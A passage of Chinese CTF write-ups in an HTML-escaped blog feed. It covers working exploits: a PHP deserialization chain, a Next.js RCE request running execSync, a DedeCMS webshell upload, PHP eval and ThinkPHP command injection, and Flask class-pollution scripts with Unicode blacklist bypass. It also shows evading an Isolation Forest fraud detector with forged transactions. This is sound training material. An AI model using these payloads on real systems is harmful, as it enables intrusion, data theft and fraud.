        echo &quot;&quot; . $this-&amp;gt;handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this-&amp;gt;worker-&amp;gt;result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this-&amp;gt;cmd);
    }
}
$raw = isset($_POST[&apos;data&apos;]) ? $_POST[&apos;data&apos;] : &apos;&apos;;
header(&apos;Content-Type: image/jpeg&apos;);
readfile(&quot;muzujijiji.jpg&quot;);
highlight_file(__FILE__);
$obj = unserialize($_POST[&apos;data&apos;]);
$obj-&amp;gt;triggerMethod();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这条pop链子终点是&lt;code&gt;Class C&lt;/code&gt; 中的 &lt;code&gt;__get()&lt;/code&gt; 方法。它调用了 &lt;code&gt;file_get_contents($this-&amp;gt;cmd)&lt;/code&gt;，可以读取服务器上的文件&lt;/p&gt;
&lt;p&gt;我们通过“当访问一个对象的不存在或不可访问的属性时自动调用，传递属性名作为参数”触发__get，于是我们将 &lt;code&gt;$worker&lt;/code&gt; 设为 &lt;code&gt;Class C&lt;/code&gt; 的对象，且 &lt;code&gt;C&lt;/code&gt; 没有 &lt;code&gt;result&lt;/code&gt; 属性&lt;/p&gt;
&lt;p&gt;当对象被当作字符串处理时，会触发 &lt;code&gt;__toString&lt;/code&gt;，我们通过 &lt;code&gt;Class A&lt;/code&gt;  &lt;code&gt;triggerMethod()&lt;/code&gt; 得&lt;code&gt;echo &quot;&quot; . $this-&amp;gt;handle;&lt;/code&gt;，触发&lt;code&gt;__toString&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class A {
    public $handle;
}

class B {
    public $worker;
}

class C {
    public $cmd;
}

$c = new C();
$c-&amp;gt;cmd = &quot;/flag&quot;; 

$b = new B();
$b-&amp;gt;worker = $c;

$a = new A();
$a-&amp;gt;handle = $b;

echo urlencode(serialize($a));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们运行得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228191324826-1766929152578-14.png&quot; alt=&quot;image-20251228191324826&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data=O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将请求方法改为post后，post传参data&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228190410770-1766929152578-18.png&quot; alt=&quot;image-20251228190410770&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;flag{6590a341-0fd9-44ac-87f2-0dd03bf3279c}&lt;/p&gt;
&lt;h2&gt;redjs&lt;/h2&gt;
&lt;p&gt;这题是最近比较热门得next.js的cve漏洞，CVE-2025-55182&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228191701070-1766929152578-16.png&quot; alt=&quot;image-20251228191701070&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们用exp直接攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
Host: eci-2ze62hcjqxqbhpvn23as.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: ygdkgols
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: 0OySzliul7lMdEUPchXuS
Content-Length: 751

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;0&quot;

{
  &quot;then&quot;:&quot;$1:__proto__:then&quot;,
  &quot;status&quot;:&quot;resolved_model&quot;,
  &quot;reason&quot;:-1,
  &quot;value&quot;:&quot;{\&quot;then\&quot;:\&quot;$B133\&quot;}&quot;,
  &quot;_response&quot;:{
    &quot;_prefix&quot;:&quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat /f*&apos;).toString().trim();;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});&quot;,
    &quot;_chunks&quot;:&quot;$Q2&quot;,
    &quot;_formData&quot;:{
      &quot;get&quot;:&quot;$1:constructor:constructor&quot;
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;1&quot;

&quot;$@0&quot;
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;2&quot;

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228191738960-1766929152578-31.png&quot; alt=&quot;image-20251228191738960&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{d8f31aae-124e-4427-9560-92093163f31f}&lt;/p&gt;
&lt;h2&gt;dedecms&lt;/h2&gt;
&lt;p&gt;dede框架之前在湾区杯决赛中见过，在/dede/login.php尝试弱口令admin/admin admin/123456后无果，遂注册账号登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192034592-1766929152578-19.png&quot; alt=&quot;image-20251228192034592&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192045365-1766929152578-21.png&quot; alt=&quot;image-20251228192045365&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入会员中心查找功能点，发现基本都是这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192245837-1766929152578-20.png&quot; alt=&quot;image-20251228192245837&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用自己邮箱注册发现也没收到邮件&lt;/p&gt;
&lt;p&gt;偶然间看到新朋友那里有一个账号Aa123456789&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192045365-1766921019950-1-1766929152578-22.png&quot; alt=&quot;image-20251228192045365&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们在/dede/login.php尝试弱口令登录Aa123456789/Aa123456789&lt;/p&gt;
&lt;p&gt;成功进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192510126-1766929152578-23.png&quot; alt=&quot;image-20251228192510126&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续找功能点，其中在专题管理那里有一个添加专题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192546792-1766929152578-24.png&quot; alt=&quot;image-20251228192546792&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里有一个缩略图，我们传入图片木马吗捉包尝试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192643671-1766929152578-25.png&quot; alt=&quot;image-20251228192643671&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们直接将filename改为1.php上传&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192701914-1766929152578-27.png&quot; alt=&quot;image-20251228192701914&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传成功&lt;/p&gt;
&lt;p&gt;我们蚁剑添加，在相应的路径/uploads/allimg/251228/2-25122Q92A30-L.php连接，密码为shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192749927-1766929152578-28.png&quot; alt=&quot;image-20251228192749927&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功&lt;/p&gt;
&lt;p&gt;在根目录那里直接找到flag.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228192835122-1766929152578-29.png&quot; alt=&quot;image-20251228192835122&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{c62ec31c-a807-428a-9a00-72807c998405}&lt;/p&gt;
&lt;h1&gt;AI安全&lt;/h1&gt;
&lt;h2&gt;The Silent Heist&lt;/h2&gt;
&lt;p&gt;题目提供了一份 &lt;code&gt;public_ledger.csv&lt;/code&gt;，包含 1000 条被标记为“正常”的交易记录。每条记录有 20 个特征（&lt;code&gt;feat_0&lt;/code&gt; 到 &lt;code&gt;feat_19&lt;/code&gt;），其中 &lt;code&gt;feat_0&lt;/code&gt; 是交易金额。&lt;/p&gt;
&lt;p&gt;服务端通过 &lt;code&gt;nc 112.125.125.30 30833&lt;/code&gt; 交互，要求我们上传 CSV 格式的伪造数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;限制条件&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Isolation Forest 检测&lt;/strong&gt;: 提交的数据必须符合“正常”用户的行为模式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;黑名单检测&lt;/strong&gt;: 不能直接发送 &lt;code&gt;public_ledger.csv&lt;/code&gt; 中的原始数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;去重检测&lt;/strong&gt;: 不能大量发送重复的同一条数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最初尝试计算这 1000 条数据的均值（Mean）和协方差矩阵（Covariance Matrix），然后利用多元高斯分布（Multivariate Normal Distribution）生成新数据。
然而，提交后被系统识别为“异常”。&lt;/p&gt;
&lt;p&gt;后面发现，既然我们已经有了 1000 个确定的“安全点”（正常样本），最稳妥的策略是在这些安全点附近进行“微调”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;算法步骤&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;重采样 (Resampling)&lt;/strong&gt;: 从原始的 1000 条数据中随机抽取样本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加噪声 (Noise Injection)&lt;/strong&gt;: 对抽取的样本添加极小的随机高斯噪声。
&lt;ul&gt;
&lt;li&gt;噪声的大小设定为各特征标准差的 &lt;strong&gt;1%&lt;/strong&gt; (&lt;code&gt;noise_scale = 0.01&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;这样可以保证生成的点在 20 维空间中依然紧紧围绕在原始“安全点”周围，处于 Isolation Forest 的高密度区域（即“正常”区域）。&lt;/li&gt;
&lt;li&gt;同时，由于引入了随机性，生成的每一个点在数值上都是唯一的，从而绕过了服务端的&lt;strong&gt;黑名单&lt;/strong&gt;（精确匹配原始数据）和&lt;strong&gt;去重&lt;/strong&gt;（精确匹配重复数据）检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;累加&lt;/strong&gt;: 循环生成直到总金额（&lt;code&gt;feat_0&lt;/code&gt; 的累加和）超过 $2,000,000。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import numpy as np
import socket
import io
import sys

def solve():
    # 1. 加载正常数据
    data = np.genfromtxt(&apos;public_ledger.csv&apos;, delimiter=&apos;,&apos;, skip_header=1)
    
    # 2. 计算每一列的特征标准差，用于生成合适的噪声
    stds = np.std(data, axis=0)
    
    target_amount = 2000000
    current_amount = 0
    generated_data = []
    
    # 关键参数：噪声比例设为 1%
    noise_scale = 0.01 
    
    print(f&quot;Generating data with noise scale {noise_scale}...&quot;)
    
    while current_amount &amp;lt; target_amount:
        # 3. 随机抽取原始样本
        indices = np.random.choice(len(data), 1000, replace=True)
        base_samples = data[indices]
        
        # 4. 加上微小的高斯噪声
        noise = np.random.normal(0, stds * noise_scale, base_samples.shape)
        new_samples = base_samples + noise
        
        # 确保金额非负
        new_samples[:, 0] = np.abs(new_samples[:, 0])
        
        generated_data.append(new_samples)
        current_amount += np.sum(new_samples[:, 0])
    
    final_data = np.vstack(generated_data)
    
    # 截取数据，刚好超过目标金额即可
    cum_sum = np.cumsum(final_data[:, 0])
    cutoff_idx = np.searchsorted(cum_sum, target_amount) + 1
    final_data = final_data[:cutoff_idx]
    
    print(f&quot;Final dataset: {len(final_data)} samples, Amount: {np.sum(final_data[:, 0]):.2f}&quot;)
    
    # 格式化 CSV 输出
    header = &quot;f0,f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,f13,f14,f15,f16,f17,f18,f19&quot;
    output = io.StringIO()
    output.write(header + &quot;\n&quot;)
    np.savetxt(output, final_data, delimiter=&quot;,&quot;, fmt=&quot;%.16f&quot;)
    csv_content = output.getvalue()
    
    # 发送到服务器
    HOST = &apos;60.205.252.190&apos;
    PORT = 36881
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        # ... (发送逻辑省略) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行脚本后，成功伪造了约 5700 条交易记录，总金额达到 201 万美元，且未触发异常警报。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228195836259-1766929152578-30.png&quot; alt=&quot;image-20251228195836259&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;:
&lt;code&gt;flag{afc64582-32f0-48a8-9193-7a3ddece960e}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>XGCTF_西瓜杯</title><link>https://origin618.github.io/posts/xgctf_%E8%A5%BF%E7%93%9C%E6%9D%AF/</link><guid isPermaLink="true">https://origin618.github.io/posts/xgctf_%E8%A5%BF%E7%93%9C%E6%9D%AF/</guid><description>XGCTF_西瓜杯</description><pubDate>Thu, 25 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;XGCTF_西瓜杯&lt;/h1&gt;
&lt;p&gt;西瓜杯难度还是有点难度的，来我们做题&lt;/p&gt;
&lt;h2&gt;CodeInject&lt;/h2&gt;
&lt;p&gt;查看代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval(&quot;var_dump((Object)$_POST[1]);&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里将获取到的数据强制转换为对象类型并且输出这个对象的详细信息&lt;/p&gt;
&lt;p&gt;下面提供三种方法&lt;/p&gt;
&lt;p&gt;直接拼接执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1=system(&quot;cat /*f*&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用 PHP 的反引号 var_dump之前执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1=`system(&quot;cat /*f*&quot;)`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;闭合括号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1=1);system(&quot;cat /*f*&quot;);//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用 ${} 复杂变量解析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1=${system(&quot;cat /*f*&quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224082606187-1766539447481-1-1766670360263-8.png&quot; alt=&quot;image-20251224082606187&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{d359ed49-0a66-4b98-b967-9b86a6bd3afe}&lt;/p&gt;
&lt;h2&gt;tpdoor&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
    protected $middleware = [&apos;think\middleware\AllowCrossDomain&apos;,&apos;think\middleware\CheckRequestCache&apos;,&apos;think\middleware\LoadLangPack&apos;,&apos;think\middleware\SessionInit&apos;];
    public function index($isCache = false , $cacheTime = 3600)
    {
        
        if($isCache == true){
            $config = require  __DIR__.&apos;/../../config/route.php&apos;;
            $config[&apos;request_cache_key&apos;] = $isCache;
            $config[&apos;request_cache_expire&apos;] = intval($cacheTime);
            $config[&apos;request_cache_except&apos;] = [];
            file_put_contents(__DIR__.&apos;/../../config/route.php&apos;, &apos;&amp;lt;?php return &apos;. var_export($config, true). &apos;;&apos;);
            return &apos;cache is enabled&apos;;
        }else{
            return &apos;Welcome ,cache is disabled&apos;;
        }
    }
    
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看index.php，其中$middleware有很多中间件，我们先报错查看框架版本&lt;/p&gt;
&lt;p&gt;ThinkPHP 默认通过 &lt;code&gt;s&lt;/code&gt; 参数来获取 &lt;code&gt;PATH_INFO&lt;/code&gt;，我们可以通过这个报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224095256008-1766670360263-1.png&quot; alt=&quot;image-20251224095256008&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载源码我们挨个查看中间键，其中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224095437456-1766670360263-2.png&quot; alt=&quot;image-20251224095437456&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里进行过滤，我们跟进$fun&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224095536173-1766670360263-4.png&quot; alt=&quot;image-20251224095536173&quot; /&gt;&lt;/p&gt;
&lt;p&gt;若$key存在|，则分隔成两个参数，前面是参数值后面是执行函数&lt;/p&gt;
&lt;p&gt;其中参数从isCache得来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224095649722-1766670360263-3.png&quot; alt=&quot;image-20251224095649722&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://a547fd9c-35b9-410e-8ac3-0b2d66a83bc4.challenge.ctf.show/?isCache=ls /|system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224095859292-1766670360263-6.png&quot; alt=&quot;image-20251224095859292&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功执行&lt;/p&gt;
&lt;p&gt;因为是缓存，只能执行一次，我们重新开个容器执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://a547fd9c-35b9-410e-8ac3-0b2d66a83bc4.challenge.ctf.show/?isCache=nl /0*|system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;image-20251224085722886&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{2622dece-3338-48d6-bc10-90720859da3e}&lt;/p&gt;
&lt;h2&gt;easy_polluted&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = [&apos;init&apos;, &apos;global&apos;, &apos;env&apos;, &apos;app&apos;, &apos;_&apos;, &apos;string&apos;]
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, &apos;__getitem__&apos;):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route(&apos;/&apos;,methods=[&apos;POST&apos;])
def index():
    username = request.form.get(&apos;username&apos;)
    password = request.form.get(&apos;password&apos;)
    session[&quot;username&quot;] = username
    session[&quot;password&quot;] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return &quot;NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~&quot;
        else:
            merge(json.loads(request.data), Evil)
            return &quot;MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED&quot;
    return render_template(&quot;index.html&quot;)

@app.route(&apos;/admin&apos;,methods=[&apos;POST&apos;, &apos;GET&apos;])
def templates():
    username = session.get(&quot;username&quot;, None)
    password = session.get(&quot;password&quot;, None)
    if username and password:
        if username == &quot;adminer&quot; and password == app.secret_key:
            try:
                flag_content = open(&quot;flag&quot;, &quot;rt&quot;).read()
            except:
                try:
                    flag_content = open(&quot;../flag&quot;, &quot;rt&quot;).read()
                except:
                    flag_content = &quot;FLAG{test_flag_locally}&quot;
            return render_template(&quot;flag.html&quot;, flag=flag_content)
        else:
            return &quot;Unauthorized&quot;
    else:
        return f&apos;Hello,  This is the POLLUTED page.&apos;

if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;, port=5000)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先污染KEY，再污染模版渲染符&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224105628300-1766670360263-9.png&quot; alt=&quot;image-20251224105628300&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload={
    &quot;__init__&quot;:{
        &quot;__globals__&quot;:{
            &quot;app&quot;:{
                &quot;secret_key&quot;:&quot;123&quot;,
                &quot;jinja_env&quot;:{
                    &quot;variable_start_string&quot;:&quot;[#&quot;,
                    &quot;variable_end_string&quot;:&quot;#]&quot;
                }
            }
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里过滤了blacklisted_patterns = [&apos;init&apos;, &apos;global&apos;, &apos;env&apos;, &apos;app&apos;, &apos;_&apos;, &apos;string&apos;]，我们用用Unicode绕过即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f&quot;: {
        &quot;\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f&quot;: {
            &quot;\u0061\u0070\u0070&quot;: {
                &quot;secret\u005fkey&quot;: &quot;123&quot;,
                &quot;jinja\u005f\u0065\u006e\u0076&quot;: {
                    &quot;\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067&quot;: &quot;[#&quot;,
                    &quot;\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067&quot;: &quot;#]&quot;
                }
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续传入usernmae=adminer&amp;amp;password=mine，改变session值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224110322047-1766670360263-5.png&quot; alt=&quot;image-20251224110322047&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.aUtYTw.FbFl0Bkt5rhynLd8xmQeVbJUGzU
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问/admin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224110404978-1766670360263-7.png&quot; alt=&quot;image-20251224110404978&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{e398f402-c11d-4468-9e66-9995d1e423e5}&lt;/p&gt;
&lt;p&gt;这里有个非预期，因为使用了&lt;code&gt;json.loads&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;poc={
    &quot;__init__&quot; : {
        &quot;__globals__&quot; :{
             &quot;app&quot; :{
                 &quot;_static_folder&quot;:&quot;/&quot;}
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f&quot; : {
        &quot;\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f&quot; :{
             &quot;\u0061\u0070\u0070&quot; :{
                 &quot;\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072&quot;:&quot;/&quot;}
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224110929245-1766670360263-10.png&quot; alt=&quot;image-20251224110929245&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{e398f402-c11d-4468-9e66-9995d1e423e5}&lt;/p&gt;
&lt;p&gt;出题人脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json

def poc_1(session, url):
    headers = {
        &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&quot;,
        &quot;Content-Type&quot;: &quot;application/json&quot;,
        &quot;Host&quot;: &quot;fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show&quot;
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r&quot;\u005F\u005F\u0069nit\u005F\u005F&quot;: {
            r&quot;\u005F\u005F\u0067lobals\u005F\u005F&quot;: {
                r&quot;\u0061pp&quot;: {
                    &quot;config&quot;: {
                        r&quot;SECRET\u005FKEY&quot;: &quot;Dragonkeep&quot;
                    }
                }
            }
        }
    }), verify=False)
    return res.text

def poc_2(session, url):
    headers = {
        &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&quot;,
        &quot;Content-Type&quot;: &quot;application/json&quot;,
        &quot;Host&quot;: &quot;fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show&quot;
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r&quot;\u005F\u005F\u0069nit\u005F\u005F&quot;: {
            r&quot;\u005F\u005F\u0067lobals\u005F\u005F&quot;: {
                r&quot;\u0061pp&quot;: {
                    r&quot;jinja\u005F\u0065nv&quot;: {
                        r&quot;variable\u005Fstart\u005F\u0073tring&quot;: &quot;[#&quot;,
                        r&quot;variable\u005Fend\u005F\u0073tring&quot;: &quot;#]&quot;
                    }
                }
            }
        }
    }), verify=False)
    return res.text

def poc_admin(session, url):
    url = url + &quot;/admin&quot;
    headers = {
        &quot;Host&quot;: &quot;fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show&quot;,
        &apos;Cookie&apos;: &apos;session=eyJwYXNzd29yZCI6IkRyYWdvbmtlZXAiLCJ1c2VybmFtZSI6ImFkbWluZXIifQ.ZoPoJw.XozJYtjOp2mah8LEEoPZZzdIjzc&apos;
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r&quot;\u005F\u005F\u0069nit\u005F\u005F&quot;: {
            r&quot;\u005F\u005F\u0067lobals\u005F\u005F&quot;: {
                r&quot;\u0061pp&quot;: {
                    r&quot;jinja\u005F\u0065nv&quot;: {
                        r&quot;variable\u005Fstart\u005F\u0073tring&quot;: &quot;[#&quot;,
                        r&quot;variable\u005Fend\u005F\u0073tring&quot;: &quot;#]&quot;
                    }
                }
            }
        }
    }), verify=False)
    return res 

if __name__ == &apos;__main__&apos;:
    url = &quot;http://fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show/&quot;
    session = requests.Session()
    result1 = poc_1(session, url)
    print(result1)
    result2 = poc_2(session, url)
    print(result2)
    flag = poc_admin(session, url)
    print(flag.text)


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自己编脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json
import urllib3

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Target URL
url = &quot;https://ecafef8b-ca58-4907-ad5a-1286528121bb.challenge.ctf.show/&quot;

# Keys escaping (绕过黑名单)
k_class = &quot;\\u005f\\u005fclass\\u005f\\u005f&quot;
k_init = &quot;\\u005f\\u005f\\u0069nit\\u005f\\u005f&quot;
k_globals = &quot;\\u005f\\u005f\\u0067lobals\\u005f\\u005f&quot;
k_app = &quot;\\u0061pp&quot;
k_secret_key = &quot;secret\\u005fkey&quot;
k_jinja_env = &quot;jinja\\u005f\\u0065nv&quot;  # env 被过滤
k_variable_start_string = &quot;variable\\u005fstart\\u005fs\\u0074ring&quot; # string 被过滤
k_variable_end_string = &quot;variable\\u005fend\\u005fs\\u0074ring&quot;
k_cache = &quot;c\u0061che&quot;
k_session = &quot;session&quot;
k_username = &quot;username&quot;
k_password = &quot;password&quot;

# Payload Construction
payload_str = f&apos;&apos;&apos;
{{
    &quot;{k_class}&quot;: {{
        &quot;{k_init}&quot;: {{
            &quot;{k_globals}&quot;: {{
                &quot;{k_app}&quot;: {{
                    &quot;{k_secret_key}&quot;: &quot;123&quot;,
                    &quot;{k_jinja_env}&quot;: {{
                        &quot;{k_variable_start_string}&quot;: &quot;[#&quot;,
                        &quot;{k_variable_end_string}&quot;: &quot;#]&quot;,
                        &quot;{k_cache}&quot;: null
                    }}
                }},
                &quot;{k_session}&quot;: {{
                    &quot;{k_username}&quot;: &quot;adminer&quot;,
                    &quot;{k_password}&quot;: &quot;123&quot;
                }}
            }}
        }}
    }}
}}
